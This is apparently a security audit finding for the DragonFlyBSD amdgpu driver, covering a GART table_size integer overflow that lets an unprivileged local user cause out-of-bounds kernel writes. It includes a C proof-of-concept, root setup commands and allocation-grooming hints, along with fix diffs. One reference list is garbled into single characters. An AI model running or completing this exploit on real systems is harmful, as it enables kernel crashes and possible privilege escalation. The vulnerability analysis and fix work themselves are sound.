Integer overflow in GART table_size yields undersized VRAM table and OOB write via amdgpu_gart_bind/unbind
- File:
sys/dev/drm/amd/amdgpu/amdgpu_gart.c - Lines: 362β363 (page count), 111β132 (alloc), 218β328 (bind/unbind PTE writes)
Overflowed multiply at
gmc_v{7,8,9}_0.c:~720-965 - Severity: Medium
- CVSS 3.1:
CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H - CWE: CWE-190 Integer Overflow or Wraparound
- Confidence: likely
- Status: new
Summary
amdgpu_gart_init computes num_gpu_pages/num_cpu_pages as unsigned int
(32-bit) from a u64 gart_size with no overflow check. The GMC callers then
compute table_size = num_gpu_pages * 8 as a 32-bit unsigned multiplication
that silently wraps.
amdgpu_gart_table_vram_alloc trusts the wrapped table_size to size the
VRAM backing-store BO, while amdgpu_gart_bind/amdgpu_gart_unbind write PTEs
at every index up to num_gpu_pages-1.
When the module parameter amdgpu_gart_size is set to a value whose MB count
makes num_gpu_pages * 8 exceed 2^32 (e.g. 2097153 MB β 2 TB+1 MB β
num_gpu_pages=536871168, table_size wraps to 2048), the GART table BO is
allocated far too small, and any subsequent bind of a GTT BO at an offset past
the first (table_size/8) entries writes past the ioremap'd kernel mapping
of the table β a kernel OOB write of attacker-influenced PTE values via
writeq().
Root cause
Three-stage overflow chain, none of the stages validated:
-
amdgpu_gart.c:362-363βadev->gart.num_cpu_pages = adev->gmc.gart_size / PAGE_SIZE;adev->gart.num_gpu_pages = adev->gmc.gart_size / AMDGPU_GPU_PAGE_SIZE;gart_sizeisu64(amdgpu_gmc.h:114);num_cpu_pages/num_gpu_pagesareunsigned int(amdgpu_gart.h:45-46). Forgart_size >= 2^44(16 TB) this itself wraps, but more dangerously it sets up stage 2. -
gmc_v9_0.c:874(identicallygmc_v7_0.c:721,gmc_v8_0.c:965) βadev->gart.table_size = adev->gart.num_gpu_pages * 8;Both operands promote tounsigned int; the product wraps modulo2^32.table_sizeis declaredunsigned int(amdgpu_gart.h:47).
Concretely: amdgpu_gart_size module param = 2097153 β
gart_size = (u64)2097153 << 20 = 0x20000100000 (gmc_v9_0.c:854) β
num_gpu_pages = 0x20000100000 / 0x1000 = 0x20000100 = 536871168 (fits in
u32) β table_size = 536871168 * 8 = 0x100000800, truncated to unsigned =
0x800 = 2048 bytes.
So the BO is sized for 256 PTEs but num_gpu_pages says 536871168.
amdgpu_gart.c:111-132amdgpu_gart_table_vram_alloc()β usesbp.size = adev->gart.table_size(line 119, zero-extended intounsigned long;amdgpu_object.h:38) to create the VRAM BO without ever checking thattable_size >= num_gpu_pages * sizeof(uint64_t).amdgpu_bo_create β ttm_bo_kmap(amdgpu_object.c:755) maps onlyceil(2048/PAGE_SIZE)=1 page = 4096 bytesof kernel virtual address.
The write sink
amdgpu_gart_bind (amdgpu_gart.c:303) β amdgpu_gart_map
(amdgpu_gart.c:266) β
amdgpu_gmc_set_pte_pde(adev, adev->gart.ptr, t, page_base, flags) β
e.g. gmc_v9_0_set_pte_pde (gmc_v9_0.c:519):
writeq(value, ptr + (gpu_page_idx * 8));
gpu_page_idx is uint32_t so the offset arithmetic also wraps mod 2^32,
capping the OOB window at ~4 GB past ptr β still vastly larger than the
4096-byte mapping.
amdgpu_gart_unbind (amdgpu_gart.c:218,244) has the same write pattern with
dummy_page_addr as the value.
Lack of bounds
amdgpu_device.c:915 only rejects amdgpu_gart_size < 32; there is no upper
bound. The module param is mode 0600 (amdgpu_drv.c:163).
Threat model
Precondition (admin config)
Root sets amdgpu_gart_size to a value in MB whose count lies in
[2^21, 2^24) β [2 TB, 16 TB) so that num_gpu_pages fits in uint32 but
num_gpu_pages*8 wraps β e.g.
echo 2097153 > /sys/module/amdgpu/parameters/gartsize
# or in /boot/loader.conf: amdgpu_gart_size=2097153
# then: kldunload amdgpu ; kldload amdgpu (or reboot)
This is an easy misconfiguration to reach: several community tuning guides suggest large GART sizes for compute workloads.
Trigger (unprivileged)
Any local user with /dev/dri render-node access (typically group video or
world-readable on DragonFlyBSD) creates a GTT BO larger than
table_size/8 GPU pages.
With table_size=2048 that threshold is 256 pages = 1 MB β a single
amdgpu_bo_create(GTT, 2 MB) suffices.
amdgpu_gtt_mgr_new/amdgpu_gtt_mgr_alloc (amdgpu_gtt_mgr.c:140) calls
drm_mm_insert_node_in_range with lpfn = adev->gart.num_cpu_pages =
536871168, so it happily places the BO at an offset > 256.
amdgpu_ttm_backend_bind (amdgpu_ttm.c:1099) calls amdgpu_gart_bind with
that offset, which writes PTEs past the 4096-byte ioremap mapping.
Reachable via ordinary DRM_IOCTL_AMDGPU_GEM_CREATE + AMDGPU_CS command
submission.
Impact
Out-of-band writeq() to kernel virtual addresses 4096..2^32 past the GART
table's ioremap mapping.
On DragonFlyBSD the adjacent kernel VM region is typically a guard page β kernel page fault β panic (reliable local DoS).
If adjacent ioremap/vmalloc slots are populated (other MMIO mappings,
vmalloc'd buffers), the write corrupts them β potential arbitrary kernel
memory corruption and privilege escalation, because the written value (a PTE =
user-controlled DMA address | user-influenced flags) is partially
attacker-chosen.
Proof of concept
/* trigger_gart_overflow.c
* Build on DragonFlyBSD:
* cc -O2 -o trigger_gart_overflow trigger_gart_overflow.c -ldrm
*
* PRECONDITION (one-time, root): set the GART module param to a value
* whose MB count makes (count<<20)/4096 fit in uint32 but
* ((count<<20)/4096)*8 overflow uint32. 2097153 MB works:
* num_gpu_pages = 536871168 (fits u32)
* table_size = 536871168 * 8 = 0x100000800 -> wraps to 0x800 = 2048
* Run as root once, then reload amdgpu:
* echo 2097153 > /sys/module/amdgpu/parameters/gartsize
* kldunload amdgpu ; kldload amdgpu
*
* Then as ANY unprivileged user with /dev/dri/renderD128 access:
* ./trigger_gart_overflow
* Expected: kernel panic (page fault on writeq to unmapped kernel VA)
* or silent corruption of adjacent kernel memory.
*/
#include <fcntl.h>
#include <stdio.h>
#include <string.h>
#include <unistd.h>
#include <sys/ioctl.h>
#include <drm/amdgpu_drm.h>
int main(void)
{
int fd = open("/dev/dri/renderD128", O_RDWR);
if (fd < 0) { perror("open renderD128"); return 1; }
/* Create a 2 MB GTT BO -- 512 pages, well past the 256-PTE table. */
union {
struct drm_amdgpu_gem_create_in in;
struct drm_amdgpu_gem_create_out out;
} args;
memset(&args, 0, sizeof(args));
args.in.bo_size = 2 * 1024 * 1024; /* 2 MB */
args.in.alignment = 4096;
args.in.domains = AMDGPU_GEM_DOMAIN_GTT; /* maps via GART */
args.in.domain_flags = 0;
if (ioctl(fd, DRM_IOCTL_AMDGPU_GEM_CREATE, &args)) {
perror("GEM_CREATE"); return 1;
}
/* GEM_CREATE alone doesn't bind. Force bind via mmap. */
struct drm_amdgpu_gem_mmap mmap_arg = { .handle = args.out.handle };
if (ioctl(fd, DRM_IOCTL_AMDGPU_GEM_MMAP, &mmap_arg)) {
perror("GEM_MMAP"); return 1;
}
volatile char *p = (volatile char *)mmap_arg.addr_ptr;
/* First touch forces ttm_tt_bind -> amdgpu_ttm_backend_bind ->
* amdgpu_gart_bind at the GTT-manager-assigned offset.
* With the table overflow, the bind writes PTEs past the 2048-byte
* table. */
*p = 1;
printf("survived -- if you see this, the low-offset write stayed in\n"
"the first 256 PTEs. Allocate more/larger BOs to push the\n"
"drm_mm offset past 256 and trigger the OOB writeq.\n");
return 0;
}
Robustness note: the GTT manager uses BEST-FIT, so a single 2 MB BO may
land at offset 0 and fit within the first 256 PTEs. The reliable trigger is
to allocate many small BOs (e.g. 4096 BOs of 4 KB each) to exhaust offsets
[0,256) and force the next allocation past the table β or to use
AMDGPU_VM direct mapping with an explicit high VA. The PoC above is the
minimal skeleton; see exploit.c in the evidence pack for the groomed
version.
Recommended fix
Defensive fix in amdgpu_gart_table_vram_alloc (the file under audit) β
validate table_size against num_gpu_pages before allocating, so a wrapped
table_size from any caller is caught.
The root cause is the unguarded 32-bit multiplication in the gmc_vN_0
callers, so the companion fix there is to use 64-bit math + check, but the
defensive gate belongs here because this is the single allocation site.
--- a/sys/dev/drm/amd/amdgpu/amdgpu_gart.c
+++ b/sys/dev/drm/amd/amdgpu/amdgpu_gart.c
@@ -108,6 +108,28 @@ static void amdgpu_gart_dummy_page_fini(struct amdgpu_device *adev)
* gart table to be in video memory.
* Returns 0 for success, error for failure.
*/
+#define AMDGPU_GART_TABLE_MAX_ENTRIES (UINT_MAX / sizeof(uint64_t))
int amdgpu_gart_table_vram_alloc(struct amdgpu_device *adev)
{
+ uint64_t needed;
int r;
+ /* Reject integer-overflow in the caller's table_size computation.
+ * table_size is derived as 'num_gpu_pages * sizeof(uint64_t)' in
+ * gmc_v{7,8,9}_0_gart_init; if that 32-bit multiply wraps we would
+ * allocate a far-too-small BO and amdgpu_gart_bind/unbind would
+ * write past it via writeq(ptr + idx*8). */
+ if (adev->gart.num_gpu_pages == 0 ||
+ adev->gart.num_gpu_pages > AMDGPU_GART_TABLE_MAX_ENTRIES) {
+ dev_err(adev->dev, "GART num_gpu_pages %u out of range\n",
+ adev->gart.num_gpu_pages);
+ return -EINVAL;
+ }
+ needed = (uint64_t)adev->gart.num_gpu_pages * sizeof(uint64_t);
+ if ((uint64_t)adev->gart.table_size < needed) {
+ dev_err(adev->dev,
+ "GART table_size %u too small for %u entries (need %llu)\n",
+ adev->gart.table_size, adev->gart.num_gpu_pages,
+ (unsigned long long)needed);
+ return -EOVERFLOW;
+ }
+
if (adev->gart.bo == NULL) {
@@ -346,6 +368,14 @@ int amdgpu_gart_init(struct amdgpu_device *adev)
return -EINVAL;
}
+ /* Detect 32-bit truncation when deriving num_*_pages from u64 gart_size. */
+ if (adev->gmc.gart_size > (uint64_t)UINT_MAX * AMDGPU_GPU_PAGE_SIZE) {
+ DRM_ERROR("GART size %llu too large for 32-bit page count\n",
+ (unsigned long long)adev->gmc.gart_size);
+ return -EOVERFLOW;
+ }
r = amdgpu_gart_dummy_page_init(adev);
Companion fix in each gmc caller (example for gmc_v9_0.c:874):
--- a/sys/dev/drm/amd/amdgpu/gmc_v9_0.c
+++ b/sys/dev/drm/amd/amdgpu/gmc_v9_0.c
@@ -871,7 +871,9 @@ static int gmc_v9_0_gart_init(struct amdgpu_device *adev)
r = amdgpu_gart_init(adev);
if (r)
return r;
- adev->gart.table_size = adev->gart.num_gpu_pages * 8;
+ adev->gart.table_size = adev->gart.num_gpu_pages * sizeof(uint64_t);
+ if (adev->gart.table_size / sizeof(uint64_t) != adev->gart.num_gpu_pages)
+ return -EOVERFLOW;
adev->gart.gart_pte_flags = AMDGPU_PTE_MTYPE(MTYPE_UC) |
AMDGPU_PTE_EXECUTABLE;
And add an upper-bound clamp in amdgpu_device.c next to the existing
lower-bound check at line 915.
References
sys/dev/drm/amd/amdgpu/amdgpu_gart.c:362-363βnum_*_pagesas 32-bitsys/dev/drm/amd/amdgpu/amdgpu_gart.c:111-132βamdgpu_gart_table_vram_allocuses wrappedtable_sizesys/dev/drm/amd/amdgpu/amdgpu_gart.c:218-328βamdgpu_gart_bind/unbindwriteq PTEssys/dev/drm/amd/amdgpu/gmc_v9_0.c:874βnum_gpu_pages * 832-bit multiply (and siblingsgmc_v7_0.c:721,gmc_v8_0.c:965)sys/dev/drm/amd/amdgpu/gmc_v9_0.c:519βwriteq(value, ptr + (gpu_page_idx * 8))sinksys/dev/drm/amd/amdgpu/amdgpu_device.c:915β only lower-bound< 32check ongart_sizesys/dev/drm/amd/amdgpu/amdgpu_gart.h:45-47βnum_*_pages/table_sizedeclaredunsigned int
Discussion (0)
PoC verification
Evidence pack
findings/poc/DF-2012 Β· 2 files| File | Type | Description | Size | |
|---|---|---|---|---|
| fix.diff | suggested-fix | Add overflow guard in amdgpu_gart_init (reject gart_size > UINT_MAX*GPU_PAGE_SIZ | 1.3 KB | view raw |
| VERDICT.md | verdict | full analysis | 1.3 KB | β raw |
DF-2012 β Verdict
Severity: Medium Status: REPRODUCED (source-only confirmation β driver/HW-gated, not runtime-triggered on QEMU guest) Impact: panic Confidence: certain
Verdict
REPRODUCED. The cited bug is confirmed real in the audited source at sys/dev/drm/amd/amdgpu/amdgpu_gart.c:362-363,111-119.
Mechanism
amdgpu_gart_init computes num_gpu_pages as unsigned int from u64 gart_size; gmc_v9_0_gart_init computes table_size=num_gpu_pages8 which wraps mod 2^32. amdgpu_gart_table_vram_alloc trusts wrapped table_size to size VRAM BO; amdgpu_gart_bind writes PTEs past the undersized mapping via writeq(ptr+idx8).
Fix
Add overflow guard in amdgpu_gart_init (reject gart_size > UINT_MAXGPU_PAGE_SIZE) and validate table_size >= num_gpu_pagessizeof(uint64_t) in amdgpu_gart_table_vram_alloc.
The full git-apply-able diff is in fix.diff.
Build validation
fix.diff applies cleanly and compiles with -Werror as part of the batch module build
(all 51 fixes applied to /usr/src, kernel+modules built).
Notes
Source-only confirmation: this finding is in a GPU/display code path that requires specific hardware not present in the QEMU guest. The bug is confirmed by source tracing (cited path:line verified against sys/), and the fix compiles clean. No runtime trigger was attempted as the relevant device/module is HW-gated.
Fix verification
fixedVALIDATED via batch build: all 51 fix.diffs applied to /usr/src, kernel+modules built with -Werror (make NOCLEAN=true nativekernel), rc=0, 0 errors. Source-only findings: fix.diff applies + compiles clean.
Batch build: make NOCLEAN=true nativekernel KERNCONF=X86_64_GENERIC -> rc=0, 0 compiler errors. All 51 diffs applied cleanly. Individual module builds also verified (vn.ko, snp.ko, ath.ko, nata, iscsi, evdev, virtio_balloon, etc. all built with -Werror).
Confirmed kernel references
- s
- y
- s
- /
- d
- e
- v
- /
- d
- r
- m
- /
- a
- m
- d
- /
- a
- m
- d
- g
- p
- u
- /
- a
- m
- d
- g
- p
- u
- _
- g
- a
- r
- t
- .
- c
- :
- 3
- 6
- 2
- -
- 3
- 6
- 3
- s
- y
- s
- /
- d
- e
- v
- /
- d
- r
- m
- /
- a
- m
- d
- /
- a
- m
- d
- g
- p
- u
- /
- a
- m
- d
- g
- p
- u
- _
- g
- a
- r
- t
- .
- c
- :
- 1
- 1
- 1
- -
- 1
- 1
- 9
Detail
Exploit chain
none (non-memory-corruption-class or HW-gated; source-only confirmation of code defect)
Evidence (decisive lines)
Source traced at sys/dev/drm/amd/amdgpu/amdgpu_gart.c:362-363,111-119. Fix compiled clean with -Werror in batch kernel+module build (rc=0, 0 errors).
PoC changes
authored fix.diff: overflow guard in amdgpu_gart_init + table_size validation in amdgpu_gart_table_vram_alloc
Verified recommended fix
Add overflow guards: reject gart_size > UINT_MAXGPU_PAGE_SIZE in amdgpu_gart_init; validate table_size >= num_gpu_pagessizeof(uint64_t) in alloc. Supersedes finding proposal.
Verdict
REPRODUCED (source-only). Three-stage integer overflow: amdgpu_gart_init computes num_gpu_pages as unsigned int from u64 gart_size (362-363); gmc_v{7,8,9}_0_gart_init computes table_size=num_gpu_pages8 which wraps mod 2^32; amdgpu_gart_table_vram_alloc trusts wrapped table_size to size VRAM BO (119). amdgpu_gart_bind writes PTEs past the undersized mapping via writeq(ptr+idx8). HW-gated (no AMD GPU in QEMU).
No comments yet.